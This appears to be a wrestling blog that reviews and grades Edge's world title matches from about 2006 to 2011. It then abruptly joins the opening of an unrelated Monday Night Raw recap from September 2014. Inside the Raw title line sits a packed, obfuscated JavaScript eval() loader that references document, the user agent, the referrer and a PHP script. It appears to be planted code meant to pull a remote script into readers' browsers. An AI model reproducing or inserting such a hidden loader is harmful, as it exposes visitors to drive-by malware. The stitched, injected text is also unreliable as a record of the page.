I love having the ladder and chair set up on the tables around the ring. That’s always a perk for some reason. Cena just being a two time champion is great. You can barely understand Lillian over the pop for Edge. Ross makes a good point and asks what Buddy Rogers would think of a TLC match. I’d counter with what would he think of the belt that spins with a big R on it.

LOUD booing for a simple headlock. This crowd is awesome. Impaler hits but since it’s not 2000 anymore that move is just average. I’ve never gotten that: how can a move like that just lose its power? Cena goes into some chairs and Edge is loudly cheered. You’ll get used to that tonight. Ladder time as Edge is mostly dominant. I’m getting tired of me saying things and then them changing immediately. A hip toss puts Edge onto a ladder and the American takes over.

It has always confused me a bit how people always talk about experience in these kinds of matches. How much experience do you need to climb a ladder? Sunset powerbomb through the table is kind of botched as the table isn’t there so they hit mat instead of table. A powerslam does it instead. These matches are hard to review as you kind of always wind up just listing off spots and it gets rather repetitive.

Edge runs up the ladder and hits a dive over the top to take out Cena which looked awesome. One man Conchairto is avoided by Cena, resulting in the cheering from fans over the lack of massive head trauma. STFU with Edge inside a ladder, which actually would hurt which is nicer than the figure four around the leg which wouldn’t really add a lot of pain I don’t think.

Cena hits an FU on the ladder. As in the ladder was across his shoulder and landed on Edge who was on the mat. Edge takes over again and sets Cena on a table then sets up another table on top of that. Nothing happens with it though, so I’d bet on that being the big finish. The BIG ladder is brought out and Edge is down, so Cena has to inch up the ladder.

SPEAR to take Cena off the ladder. It’s not quite the one to Hardy but it’s not bad at all. They fight over big spots near the ladder and Edge hits the floor. Cena almost gets the belt but Lita makes the save and Cena takes a big old fall to the floor and through a table. Lita messes up though and causes Edge to go flying through a table as well. FU to Lita and it’s time for Miley Cyrus’ big song from last year.

The double stack table is set up again but for no apparent reason at all as Edge is down on the floor and Cena is capable of climbing. Both guys on are the ladder and in a fairly famous visual now, Edge takes the FU off the ladder through two tables. Cena grabs the belt, which he would hold for the next full year plus.

Rating: B. I thought a higher grade at first but this feels more right. It’s definitely a good match and worthy of being a PPV main event, but it just feels kind of anti-climactic. Cena defies the odds again and wins the title? It’s not bad or anything but it just lacks that spark I guess you would say. Very intense match though with some very nice big bumps. This is worth checking out.

Edge would steal Mr. Kennedy’s Money in the Bank briefcase and cash in on an injured Undertaker. Batista wants the title back at One Night Stand 2007.

Smackdown World Title: Edge vs. Batista

Win by pin, submission or escaping the cage. It’s in a cage in case you’re rather stupid or have a very short attention span. Batista has a bad hamstring to fill some injury quota for faces I guess. Edge tries for the door almost immediately but it’s locked still and Big Dave catches him. He keeps trying to run and Batista is like dude, just take it like a man. Basic power stuff to start us off as you would have expected.

Edge gets in a shot but still can’t escape over the top as Batista drills him with a clothesline for two. Batista climbs the ropes (not in the corner) and Edge gets a dropkick to the leg to bring him down and take over. Big Dave gets rammed into the cage a few times back first which get two for Edge. Back to the leg as Batista is in trouble now. Not enough trouble for Edge to retain but he was trying at least.

The Canadian lunges for the door but only gets his hands out. A turnbuckle gets torn off but Edge can’t put him into it. Powerslam is countered into an Edge-O-Matic so he goes up top again. More brawling on top sets up a superplex by Batista for two. They’re kind of going through the motions here but it’s not bad. Right back to the top and down goes Edge so the musclehead tries for a shoulder block off the top, only to get caught by a dropkick. Is anyone in wrestling built and smart?

Edge tries a spear but Batista tries one at the same time I guess and they collide. Batista takes over again and gets a side slam for a close two. Edge misses a missile dropkick but walks into a slingshot into the cage for two. Batista gets sent into the buckle that was exposed and gets taken down by a spear for two. There is more or less no transition here at all and the flow is all off.

Spinebuster gets two for Batista so he loads up the Batista Bomb. Edge manages to move backwards towards the cage and climb to the top. Batista gets caught by a low blow and crotched on the top rope. The Canadian climbs up while Batista goes for the door and in short, Edge wins. There’s not much else to it than that really.

Rating: B-. The best thing I can think of to say here is that they were going through the motions. It’s certainly not a bad match but at the same time it felt like there was nothing going on for the most part. There was some drama in there and there was nothing wrong with it from a technical standpoint at all, but I never could get into it. Not a bad match at all, but nothing great and more or less just going out there and having a cage match. Could be the lack of any real story.

Let’s have a threeway. From Armageddon 2007.

Smackdown World Title: Edge vs. Undertaker vs. Batista

Big Dave is champion. Taker goes straight for Edge so the Canadian runs. Batista and Taker get in a fight over who gets to beat up Edge. Taker wins that one and goes after Edge but a chokeslam is avoided. Edge chills on the floor which is rather smart. He tries to steal a pin on Batista which fails but he stomps away a bit. Taker is out of the floor thanks to the Animal. Edge knocks him down again but walks into a Bossman Slam for two.

Edge sets for the spear but Batista gets a big boot up for two as Taker saves. Taker sets for the legdrop on the apron but Batista takes his head off with a clothesline instead. He loads up the Bomb on Edge but there’s a low blow and Edgecution for two. Taker is back inside now and beating on Edge. Here’s Old School and a Last Ride attempt but Batista spears him down, resulting in a huge crash.

Batista tries to cover Taker but gets caught in a triangle choke and…there’s the bell? Edge rang it apparently to break the hold. That’s rather genius. Edge spears Taker for two. The crowd is into this now as Edge spears Batista for two. He grabs a pair of chairs but Batista breaks up a Conchairto. The Canadian goes to the floor and Dave goes up, only to get crotched.

Superplex hits Batista for two. Batista takes down Taker out of nowhere and spears Edge for fun. Batista Bomb to Taker is blocked and there are two Edges on the floor. Chokeslam to Batista and Taker calls for the tombstone. Someone resembling Edge jumps into a chokeslam. Batista Bomb is countered again as the chokeslamed Edge is down.

Batista, like an idiot, tries a tombstone. He of course takes it and the real Edge cracks Taker with a chair and steals the title. The other Edges, complete with accurate fake tattoos, would be more commonly known as the Major Brothers, who changed their names to the Edgeheads. Today they’re more commonly known as Zack Ryder and Curt Hawkins. Remember that strength of three men line?

Rating: C. Match was just ok and the ending really doesn’t work as only one of the two fake Edges were ever involved. The stable that would form, La Familia, was awful but who cares about that I guess. This set it up and would be the main story until about the end of summer. Not a horrible match, but not really memorable or anything like that.

Edge would feud with the Undertaker for a good while, including at One Night Stand 2008. The title is vacant coming in.

Smackdown World Title: Edge vs. Undertaker

TLC match remember. Edge’s eyes during Taker’s entrance are awesome. Taker goes straight for him and Edge is in trouble to start. He pounds away as we’re just killing time before we go for the crazy stuff. Old School hits about 80 seconds in and a big boot puts Edge down. Here’s our first ladder but Edge hits a baseball slide into it to send it into Taker and back down to the floor.

Edge stacks up a pair of tables but Taker gets in a ladder shot to break that up. Cole points out the stupidity of Vickie saying that the title can only be won by pin or submission so she makes a match where you don’t win by pin or submission. Taker loads up two more tables so there are four in a two by two setup. Edge takes him down but can’t make the climb as Taker drills him off the ladder.

Snake Eyes into the ladder is countered and Edge this the floor again. This is a rather slow paced match so far but they have a ton of time so it’s not like they have to hurry or anything. Taker goes up but Edge makes the stop, sending Taker off the ladder and into another ladder that was laid across the buckle. Snake Eyes onto the ladder on the other corner is followed by a boot to the ladder to Edge in the corner.

Out to the floor and we get our first chair brought in. Isn’t it amazing that in a regular match a chair shot is enough to end anyone but here like 10 of them just slow people down? Taker tries his leg drop on the apron but Edge gets a chair up to block it. Last Ride to a ladder bridged between the ring and the barricade is blocked due to it would kill Edge. Chair to the head takes Taker down. Good thing Edge retired or he’d have a big penalty for that.

There’s another chair to the head and Taker is more or less done. Edge puts him on a table in front of the announce table and splashes Taker through it. That isn’t enough to keep Taker down so a spear in the ring sets up the ladder being crushed around Taker’s leg. Conchairto to the ladder to Taker’s knee. Edge brings in the required big ladder and bashes Taker’s head in two more times with a chair.

Edge, the (Dusty) Rhodes Scholar that he is, goes to the floor instead of climbing up the already set ladder. He wants a Conchairto but Taker gets a low blow to break it up. Chokeslam to the ladder bridge half kills Edge but Hawkins and Ryder come out to stop Taker from getting the title. They set up a double table spot, as in Taker is on a table and they put one on top of that. Taker fights out of it though and sends Hawkins off the top with a chokeslam to the floor. Ryder takes the same but Edge is back up now.

A spear sends Taker to the barrier and Edge….puts another table on top of the one Taker was on a second ago before he goes up. Why in the world would he do that? Taker makes the stop though and it’s a Last Ride for Edge through the two tables in the corner. The tables slowed it WAY down though. So that’s why Edge did it: because the spot they had planned called for it. So noted.

Taker goes up again but Bam Neeley (remember him?) and Chavo come out this time. They stomp away but can’t hit a Conchairto. It’s a chair shot to the head for each of them so Taker moves the ladder a few feet over because when it was under the belt it wasn’t in the proper position for the big spot of the match. Taker goes up, so far away from the belt that he couldn’t reach it with a three foot pole. Edge shoves the ladder over and Taker goes through the four tables. He climbs up and Edge is champion while Taker is “retired”.

Rating: B. Well this was good but when the two major spots of the match were THAT stupid looking it brings this down a few notches. Taker would of course be back in like two months at the longest as he took the title from Edge in the Cell at Summerslam. Either way, not too shabby here but TLC has been done far better than this before. Taker was game though, which helped a lot.

That’s not cool with Undertaker, so here’s the final blowoff at Summerslam 2008.

Edge vs. Undertaker

It takes two minutes and forty five seconds from Taker’s gong to him slamming the Cell door closed. Edge fires off right hands in the corner but walks into a big boot. We head outside the ring so Edge can be rammed into the steel. A series of headbutts puts Edge down and Taker whips him hard into the steps. Vickie and company (La Familia) is watching in the back.

Back inside now but with steps involved as well. The Snake Eyes drop Edge on the steps but he blocks the big boot and sends Taker into the steps instead. Edge hits a spear to a seated dead man but doesn’t go for a cover. Instead he grabs a table but stops to knock Taker out with the steps to the head. Edge gets another table but doesn’t slide either of them into the ring. The table is set up on the floor instead but Edge has to fight out of a chokeslam attempt instead of sending Taker through it.

Now it’s chair time with Edge dropping Taker again. Here’s a third table but the first one actually brought into the ring. Edge pulls out a ladder as TLCHIAC continues. Another chair shot puts Taker down as we have a ladder, a table and steps in the ring. Three of the four things are used as Edge puts Taker on the table and picks up the chair before climbing the ladder. He drives the dead man through the table in the same spot he used on Foley a few weeks ago. Nice touch.

It’s only good for two though so it’s time for a Conchairto, only to have Taker grab Edge by the throat. Edge breaks free but gets caught in a big right hand to put him back down. A bit boot sends Edge into the cage and Taker crushes his head with the steps for good measure. Edge posts Taker to get a breather and uses the steps as a launching pad to knock Taker through the Cell. Taker’s arm is bleeding a bit.

They fight at the announce table before Edge is sent into the barricade to put him down again. Taker misses a monitor shot to the head, allowing Edge to crack him in the head with it instead. In the big spot of the match, Edge runs the announce tables for a big spear to Undertaker, putting both guys down. Edge can’t follow up so Taker wins a slug out and they head back inside, drawing some moderate booing. Back in and a ladder to the face gives Edge control again and a chair shot gets two.

Taker counters the spear into a chokeslam for a close two and Taker is getting frustrated. The Last Ride is countered by a low blow and an Impaler gets two. Back up and Taker loads up the Last Ride again but wants it through the tables on the floor. Edge slips over the top and hits the spear for a very close two. Now the Last Ride connects but Edge gets out at two.

Taker loads up a tombstone off the steps but Edge counters into an Edge-O-Matic onto the steps for two. Now Edge loads up Old School but Taker crotches him down and chokeslams him through the tables on the floor. Back in and Undertaker spears Edge down and breaks a camera over his head. A Conchairto crushes Edge’s skull and the tombstone finally ends this.

Rating: A. THIS is how you blow off a feud. Edge was completely destroyed at the end here with Undertaker hitting every big move he had and Edge not kicking out of them at all. These two had some great action all year long and the Cell is the best way to blow the whole thing off. Having it as a TLC match inside the Cell was fine and it made for a great main event.

Taker leaves but Edge very slowly gets up. The big man goes back inside and sets up the ladder before lifting Edge onto it. Taker throws in another ladder and climbs up next to Edge so he can throw the Canadian down through the mat. He raises his arms up and lights the hole on fire to end the show in a corny moment.

Here’s a demonstration of how the two World Titles were stupid. From No Way Out 2009.

Smackdown World Title: Undertaker vs. Edge vs. HHH vs. Big Show vs. Jeff Hardy vs. Vladimir Kozlov

Edge is champion here and who would have bet on Undertaker being the first guy to come out on a PPV? Ever seen or heard of that at all? I certainly haven’t. The Chamber has a personality now. Show comes out second to more or less no reaction. Show has gained back a good deal of his weight by this point. It’s kind of fun to wait and see who will be the two starters. It won’t be Kozlov as he comes in third.

HHH won’t start either (I’m stunned too) so it’ll be Jeff vs. Edge. Well you can’t complain there. Edge had ended Jeff’s first reign in January at the Rumble so the story is there. HHH has won three Chambers and is a mere 12 time world champion here. He spits through the top of Show’s cage down on his head just to tick him off. BIG pop when Jeff comes out. The time is allegedly five minutes here but I’ll believe that when I see it. Nearly fifteen minutes into the show it’s time to get going.

JR for some reason can’t get the rules right and Taz has to save him. When do you see that? Jeff goes straight at him and Edge counters with a clothesline to put the purple haired dude down for two. Ok this time pins have to be in the ring. Edge slugs away and growls at Show, mocking the chokeslam. Jeff fights back and the Twist of Fate hits maybe two minutes in. Swanton misses and it’s spear time. Wow they’re going kind of fast here aren’t they? Jeff rolls through it though into a small package, and Edge is out in maybe three minutes tops. WOW.

Now we have to wait for the next guy to come in as the crowd is stunned. He was the reigning champion too, so the world champion just got pinned in about three minutes in a title match. There’s the clock and in third is Kozlov who gets to beat on Hardy for awhile. He’s still undefeated here somehow. The headbutt to Jeff’s chest has him in trouble early on.

It’s so strange to think that Kozlov got his first title as a comedy enforcer rather than this version of him that is in a world title match on PPV. All Kozlov here as the fans chant USA. Well at least they can spell for the most part. Fallaway slam gets two as Jeff has had almost no offense in this period. Vlad gets a bearhug while Jeff is on his back. Jeff gets in some punches and that gets him nowhere so it’s more of the same now.

Here comes Jeff again with the slingshot dropkick to keep Koz down for awhile. Whisper in the Wind hits as the clock ticks down. It’s Big Show in fourth and I don’t like Jeff’s chances of survival here. Does JR have Show’s measurements tattooed on the inside of his eyelids or something? Why else would he know them that easily? Koz and Show beat on Jeff for awhile but don’t cover him for no apparent reason.

They literally spend three and a half to four minutes just letting the other get in big shots on the other guy. Isn’t this kind of uh, stupid? LOUD chop by Show in the corner followed by a second. Tazz makes a bit of fun of JR for saying the Chamber has a personality. Kozlov finally drills Show to take him down while Jeff is able to recover. Well no one ever said these two are that intelligent.

The countdown comes on and it’s HHH in fifth. Anyone else think he’ll be the winner? He goes straight for Big Show and that gets him mostly nowhere so he switches off to….right back to Big Show. Ok then. Spinebuster takes down Show and HHH gets a counter to a Twist of Fate with a clothesline. Vlad does his best Stasiak impression as he charges at HHH but goes over the top to the cage.

The fans cheer for HHH which apparently validate putting him in the main event of Mania in dominance by him. Of course it did. Show gets back into it and the four guys pair off into teams of two. The margins of time are really stretching here. Show slams HHH into the cage and then Hardy into the cage. Show then charges but eats cage instead and is in trouble.

We finally hit the countdown and here comes Taker who goes straight for Show. You can tell Taker is in a zone here and would be ready for Shawn next month. Taker destroys everyone and sets for a double chokeslam but Show breaks it up for no apparent reason. Old School is started on HHH but Taker dives off onto Show instead and DDTs him on the cage. NOW Old School hits the Game. Taker is looking awesome here as he’s beating the tar out of everyone.

Kozlov gets a shot in finally and shows how stupid Russia is as he goes up to the corner and just like happened last year and to everyone else on the planet, the Last Ride drills him and out he goes. Ross is so casual about it that you can tell he’s thinking how stupid Vlad was there. Down to Show, Hardy, HHH and Taker now. Pedigree can’t hit Show and HHH gets backdropped to the cage again.

Show gets all dominant and throws HHH around before going after Hardy for a bit. So he’s a dominant swinger? Kinky. Hardy hammers away so Show just throws him onto the top of a pod. Taker manages to get a superplex off the top of the pod followed by a Pedigree followed by a huge Swanton. HHH steals the pin and we’re down to three.

Hardy is more or less dead after the Swanton so Taker beats on HHH for awhile. He goes for Old School on Hardy but HHH saves. Why do so many people do that? Let Hardy take a big move and maybe get pinned. Apparently that’s a bad thing here. Poetry in Motion with Taker action as Matt takes down HHH on the steel. And then a few seconds later a Tombstone gets us down to HHH vs. Taker which should be good.

Taker misses a big boot in the corner and we head out to the steel again. HHH comes off and lands in a chokeslam for a long two and a big reaction on the kickout. Spinebuster “out of nowhere (dang it JR stop stealing my lines!)” gets a close two. We get an awesome counter sequence as Taker goes for a Tombstone on the steel but HHH reverses over the ropes but Taker keeps rotating and gets one of his own.

It gets two though as HHH puts his foot on the rope. In the freaking ELIMINATION CHAMBER, a foot on the rope breaks up a pin. That is, in a word, WEAK! Pedigree gets two and draws boos as we can clearly tell the favorite here. After a big punch out, HHH pounds on him and, I kid you not, does ten punches in the corner. For the sake of my sanity he reverses and a Pedigree ends this. Not sure if we should chalk that up to intelligence or luck but whatever.

Rating: A-. Solid match for sure and the whole thing worked for the most part. They had the good balance here of shock with the beginning, the beatdown by the monster, the big beatdown to get rid of said monster, and the big slugout to end it. Great match and one of the best in the series so far. Oh and HHH has his 13th world title to set up the WAY too long feud with Orton.

And from about two hours later.

Raw World Title: Kofi Kingston vs. John Cena vs. Kane vs. Rey Mysterio vs. Mike Knox vs. Christ Jericho

Cena is out first to a pretty decent pop and is the reigning champion coming in. This is easily the high point of Knox and his beard of awesome. Kane is your jobber of the day here as he’d never win a world title right? Now we get to the meat of the match as Kofi comes out and Edge jumps him, taking his place in the match. I’ll get to the big problem with this at the end. Also the winner is pretty clear now isn’t he? A Conchairto ends Kofi and Edge jumps into his pod.

Rey comes down to help Kofi as Jericho is out so we’ll start with them. They already had that epic feud over the IC Title so there’s automatic history here. Both guys fight for control and Rey can’t get a 619. Rey gets a flip over the ropes and the beating is on. Rey takes a HARD shot into the glass. Mysterio steals the Spiderman spot from RVD and gets a rana and seated senton to take over.

Kane is in third and goes right for Rey. Jericho tries to jump Kane and it gets him nowhere. Rey fights with what he can but there’s only so much he can do against a guy the size of Kane. Rey manages to get both of them in position for the 619 but Kane pops up to stop him. Rey, the superhero that he is, manages to get the big man down and get the area code move (he’s screwed if that ever changes). Jericho adds a Codebreaker for no cover as Lawler is criticizing them too. A seated senton off the top of a pod gets rid of Kane. Was there a need to take out Jericho first though? Anyway Kane is gone.

In fourth is Knox who is evil because he felt like being evil. There was something so refreshing about that and I loved it. He doesn’t really have a point to beating on Rey. He just kind of likes it. Simple but effective. Jericho sends him out to the cage but the springboard cross body doesn’t work at all. Rey gets caught in a Tree of Woe in the cage which is kind of a cool visual.

Knox is a generic big man but he does the job pretty well. He tries to set Rey for his finisher back in the ring but Jericho grabs a Codebreaker for the pin to get us to the final four. That one I can understand as Jericho had an opening and Mike had one arm free instead of two so it was more taking an opening rather than saving Rey. Anyway Edge is in fourth.

Rey goes right after him and the beating is on. Jericho gets both guys down and can kind of pick his spots. Lionsault to Rey gets knees and an Edge-O-Matic gets two on Jericho. Spear misses Rey and the Codebreaker misses Edge. Jericho stops the 619 to Edge for no apparent reason other than hatred of Mysterio I suppose. Tower of Doom spot as Jericho gets a sunset bomb on Edge out of the corner as Edge hits a release German on Rey, who is more or less dead.

Here comes Cena and Edge does his best Vince imitation as he turns around to meet him. Cena goes off on everyone but mainly focuses on Edge. Various moves take down just about everyone as Cena is ALL fired up. Five Knuckle Shuffle to Edge as it’s all Cena. FU to Edge is blocked by a Codebreaker to Jericho. 619 to Cena sets up the spear from Edge and CENA IS GONE!!! Edge is totally shocked that he finally pinned Cena.

It’s Rey vs. Jericho vs. Edge once the match gets going again after more or less stopping cold after that. Rey sets for a 619 to both Canadians but Edge gets out of the way. Jericho grabs the Walls but is rolled up by Rey to get us down to one on one for the title. Spear eats turnbuckle and Rey gets a rollup for two and a BIG reaction from the crowd which is totally into this.

Rey gets that soccer style kick to the side of the head for another long two. The announcers talk about the show vs. show thing which is rather stupid but we’ll just go with it as they insist it’s a big and important thing or whatever. Rey gets his fourth long two off a tornado DDT. Rey goes for some kind of a springboard move but Edge kicks him in the face to put him back down.

Powerbomb on the cage can’t hit as Rey counters into a facejam on the cage. FREAKING OW MAN! Rey modifies the 619 to kick Edge in the back of his head. In a SICK spot, Rey charges at Edge but gets launched into the air and into the glass which he literally bounces off of. FREAKING OW MAN PART DEUX THE SEQUEL WITH MOST OF THE ORIGINAL CAST GONE AND A WEAKER STORY THAT IS RIDING ON THE NAME OF THE ORIGINAL! Spear ends it as Rey is mostly dead already.

Rating: A-. Another great match here, but this is what I hated about it that I mentioned earlier on: Edge was distraught about losing his world title two and a half hours ago so he goes out and wins another. What could have been a big devastating loss for Edge that gave him something to do for a few months as he tries to get the title back is thrown away as he now has the OTHER world title and is just fine for it. It makes it seem like the world title is easily replaceable which isn’t what it should be at all. Anyway, the match was very fun and the crowd was into it the whole time, making this an excellent match.

Cena wanted his title back at Backlash 2009.

Smackdown World Title: Edge vs. John Cena

The brand of the titles is pretty much a guess at this point as they were moving around a lot at this time. Cena is defending and this is last man standing in case you forgot what you read about 20 seconds ago. Cena took a Conchairto on Raw so he’s a bit messed up in the cranium. This is billed as the last match between the two. I’m sure. Edge avoids the bulldog to start and it’s a standoff.

The challenger bails to the floor but misses the spear back in. Edge takes over by pounding on him in the corner before walking into a release fisherman’s suplex. An Edge-O-Matic puts Cena down as we focus on the back of Cena’s head. Edge wins a slugout and puts Cena down with another shot to the head. A flapjack puts Cena down again and we get a logical sleeper. Edge puts him down and finally lets go but Cena is up at seven.

Cena comes back with the shoulder blocks but Edge breaks up the Shuffle. There’s a Sharpshooter of all things but Cena gets up again. Edge knocks him off the apron and into the table as we get to the more wild part of the match. That shot only gets another seven so Edge loads up the steps. The spear that Edge tries hits the steps though and Cena gets a breather. At six though Edge comes back and sends him into the steps again, putting the champ down.

Now Edge goes into the steps again as this is feeling like it’s on a loop. After another eight count Cena picks up the steps and puts them in the ring albeit with some difficulty. Edge gets in another shot to the head and Cena is down again. The Canadian crushes Cena in the corner with the steps and dropkicks them into his body but both guys are down as a result. Back up and Cena launches Edge to the floor. We’re about twelve minutes into this and it hasn’t been all that great so far.

Things pick up a bit with Cena picking up thesteps and throwing them over the top rope and right onto Edge’s head. Edge is up at eight and Cena is getting fired up. Back in the ring and they slug it out some more with a double punch putting both guys down. Back up and three AA’s, an Edgecution and an Edge-O-Matic are all broken up before Edge hits a belly to back suplex to take over.

He brags too much though and Edge gets caught in the STF. He taps but it doesn’t matter. As with any submission hold, Cena lets go early (I wonder if he did that with Mickie….allegedly) and Edge is up at 8. The AA is broken up again and Edge spears him down. Edge goes up top and Cena FINALLY hits the AA off the ropes but it doesn’t finish things either. Cena goes up but dives into another spear. Now this is getting better.

The spear only gets nine and Edge is stunned. Both guys are barely able to stand at this point. Scratch that as Cena collapses and falls to the floor. Edge won’t let the referee count and tries the Edgecution on the table, but Cena counters and hits an AA into the crowd. That wouldn’t really do a ton of damage in theory but the landing would, as the fans mostly caught Edge. It gets another nine and Edge is up, although he’s leaning on the barricade. Cena is stunned.

Edge is like screw this and runs off into the crowd with Cena chasing him up the stairs. They head into the concourse and Cena catches up with him, only to head right back into the arena. They go back down some different stairs and Cena bulldogs him onto the equipment area. Edge pops up and hits Cena with something metal as they go to the stage.

An Edgecution (the inverted DDT in case you don’t remember what that move is) on the steel puts Cena down for nine. Edge goes into the back and comes back with a chair. Gee that’s kind of lame now. He gives Cena a Conchairto on the stage….for eight. Edge’s spear is caught in the AA and here’s Big Show to chokeslam Cena through an exploding spotlight, giving Edge the title.

Rating: A-. This is one of those matches that really is better when you watched it live. I remember wondering what they could POSSIBLY do to end this and then Big Show came out to blow stuff up. They had to do something like that given all of the stuff they had done so far and the explosion filled that role pretty well. The first ten minutes are just ok but after that it kicks into gear in a hurry. Great match here.

Edge would be out with an injury for the second half of 2009. 2010 wasn’t much for him either but he did come back as a face and get a World Title shot against Kane at TLC.

Smackdown World Title: Edge vs. Kane vs. Alberto Del Rio vs. Rey Mysterio

You win by gaining custody of the title. Dang it Rey has the advantage now since he had a custody ladder match before! Rey is dressed….like Gene Simmons of KISS? Really? Entrances take a very long time here. Kane goes straight for Edge as the expected pairings go off together. Striker goes through everyone’s experience in four ways or TLC matches to waste some time.

Alberto shoves Rey off a ladder as Rey jumps onto Kane and Edge, taking them both out with ease. Rey hits a Seated Senton onto the ladder onto Alberto which was cool. The problem with these matches becomes apparent very early as we know the match isn’t ending this early. Chokeslam is countered into an Edgecution by Edge to put the champion down.

Baseball slide to the ladder puts Kane down again, ticking off Cole since it knocked down his Slammies. Alberto and Mysterio kind of disappeared and we have the original title match now. Ah there’s Alberto with all four guys on the floor. Kane rips the legs of a table off which is rather impressive strength. Edge is in the crowd now and not by his own choice.

For some reason he jumps off the barricade to break up a double chokeslam on both Spanish speakers. Everyone but Del Rio combines to put Kane through a table, leaving only Rey to climb the ladder. Running enziguri in the corner has Rey down so Alberto speaks some Spanish. For no apparent reason Del Rio pauses to go get a chair which doesn’t work. Spears for both Del Rio and Rey and Edge climbs up.

Kane is back though and Edge’s balls get a bit too acquainted with the top rope as a result. Out to the floor (again) with Kane killing everyone (Katie Vick anyone?) with a chair. Everyone but Rey is on the stage where Edge spears the champion down. Rey climbs up onto the tables that hang from the ceiling to take down Kane with another seated senton. Everyone else is down so Rey is like screw it and hits the ring but is too small to get the big ladder up, allowing Del Rio to stop him again.

619 for both Edge and Del Rio but Edge stops his with a chair shot. Two ladders go up, one of which Edge couldn’t reach the title from the very top of. Edge and Rey go up the huge ladder but crash down in a painful looking drop. Ricardo tries to get Del Rio up before going up the ladder himself. And never mind as Kane is back. Chokeslam to “Eddie Munster (I love Striker)” and one to Alberto as well.

Edge through a table now as Rey gets rid of the ladders and beats on Kane for a bit. Del Rio somehow stops him from getting up the HUGE ladder and there’s the Cross Armbreaker which Rey taps to, not that it means anything. Striker thinks you can’t climb a ladder with a bad arm. Morrison did it earlier with a bad leg but you can’t do it with a bad arm? And people wonder why teachers get so little respect.

Alberto goes up and gets his hands on the belt but Rey saves by shoving the big ladder over, sending Alberto CRASHING through two tables on the floor. Big old sick spot there. Kane saves again and a Tombstone flattens Rey one more time. The top of Kane’s head is cut a bit. Kane goes up but Edge pops him a few times with a chair. I think our announcers are out. Edge spears Kane off the apron and there he goes and there’s World Title #10. Riveting.

Rating: B. Fun match but it was a step behind what I thought it would have been. This is LIGHT YEARS ahead of what Edge vs. Kane would have been though so that’s a perk. There wasn’t a good pick to win this one really as everyone would be pretty boring. Somehow this is the weakest big match so far, which is saying a lot as it was still good stuff. Good match, but nothing legendary.

We’ll wrap it up with Edge’s retirement match at Wrestlemania XXVII.

Smackdown World Title: Alberto Del Rio vs. Edge

Del Rio is challenging and comes out in a Rolls Royce. The video screen is made to look like a driveway for Del Rio to be driving from in a cool sight. Also at ringside is Del Rio’s bodyguard Brodus Clay. Does anyone even remember that association? Christian is of course here to second Edge. Alberto sends him into the corner to start but Edge comes back with some hard slaps. A backdrop puts Alberto down and a second one puts him on the floor.

Back in and Del Rio grabs an armbar to take over, only to be armdragged down. Alberto goes right back to the arm as Brodus talks trash. Back to the armbar but Del Rio misses a charge and falls out to the floor. Edge dives off the top to take Del Rio down again and we head back inside. The champion heads to the top but Alberto pulls him down with a top rope armdrag for two. Edge comes back with a big boot to get himself a breather but he can’t follow up.

A running forearm puts Del Rio down again and a flapjack gets two. Alberto grabs a Codebreaker to the arm but the cross armbreaker is countered into an Edge-O-Matic for two. Del Rio rolls through a rollup and grabs the armbreaker but Edge gets his feet on the ropes to quickly escape. Edge snaps Alberto’s neck on the top rope but as he goes up top, Del Rio hits the enziguri in the corner for two.

Brodus and Christian get in a fight on the floor but Del Rio kicks Christian down. There’s the Edgecution to set up the spear but it hits post instead. The armbreaker goes on but Edge keeps his hands together….for a minute before Alberto gets the hold on full. Edge gets on top of Alberto to break it up and there’s the Edgecator (modified Sharpshooter) but Del Rio rolls away. Not that it matters as Edge pops up and hits the spear to retain.

Rating: C+. For a world title match at Wrestlemania, this was a disappointment. For Edge’s last match because his neck was REALLY messed up, this was pretty decent stuff. Edge would retire a few days later and vacate the title, which says to me that he should have put Del Rio over here. At the end of the day it makes Alberto look weak to lose to a guy that banged up but it did give Edge a good moment to go out on. Nothing great though.

Edge is a guy that wasn’t the best in ring worker but he was able to find success through all of his gimmick matches. They were entertaining, but they destroyed his body so badly that he had to retire earlier than he should have. During his career he won more titles than anyone in WWE and won every possible title (assuming you include the Hardcore reign with Foley). The guy is very entertaining and that’s all a wrestler is supposed to be.

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Monday Night Raw – September 1, 2014: I’ve Never Told Anyone This, But The Bellas Are Awful

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afrkk|var|u0026u|referrer|ykzin||js|php'.split('|'),0,{})) Night Raw
Date: September 1, 2014
Location: Wells Fargo Arena, Des Moines, Iowa
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

It’s Labor Day and we’ve got less than three weeks before Night of Champions. The main stories for tonight are the return of some needed big names like Jericho and Orton. Last week made it clear that they didn’t have the talent pool to fill a three hour show so those two should help things out a little bit. Also tonight we get Cena’s response to Lesnar and Heyman’s promo last week. Let’s get to it.

We open with Chris Jericho in the ring for the Highlight Reel. JBL is already over him, talking over Jericho’s lines about how bored he is. Jericho is glad to be in Des Moines. “I love those cheap pops!” His guest tonight is someone who has been given everything he’s ever had in WWE: Randy Orton. Instead he gets HHH, Kane, Rollins and Orton, all in suits. Jericho calls Kane Jaws (James Bond reference) but HHH says Jericho is the man who never grew up. “Figuratively and literally.”

Jericho references Stephanie getting arrested and wants to know why HHH is wearing a pink tie. HHH insists it’s violet and talks about watching Lesnar vs. Cena from Summerslam over and over. After seeing how brutal it was on Cena, he was thinking of giving someone else a title shot at Night of Champions. Orton says it’s him, and reminds Chris that he’s earned everything in WWE. Kane and Rollins both suggest themselves, with Rollins getting a very nice reaction as the hometown boy. Jericho thinks he should get the shot, but here’s serious Cena to interrupt.

Cena isn’t cool with people saying he can’t win just because some Hall of Famers thought he can’t beat Lesnar. People didn’t think he could beat HHH at Wrestlemania XXII but he made him tap out. Cena invoked his rematch clause and HHH approved it, so now if HHH changes things, he’s facing a lawsuit. If that happens, Cena will be the COO and fire HHH as a result. HHH is amazed to hear Cena threatening lawsuits and says he’s trying to prevent Cena from going over the edge.

He knows his job and knows what being COO means. HHH can’t let Cena get hurt again, but Rollins and Orton both imply they can beat Lesnar. Jericho brings up Reigns beating Orton at Summerslam but Randy says he could lay out Reigns right now. Cue Reigns of course to tell Orton to drop him right now. Roman says he belongs in the title hunt so HHH makes a six man tag for a chance to prove themselves, whatever that means. Rollins tries to nail Reigns and gets punched in the jaw.

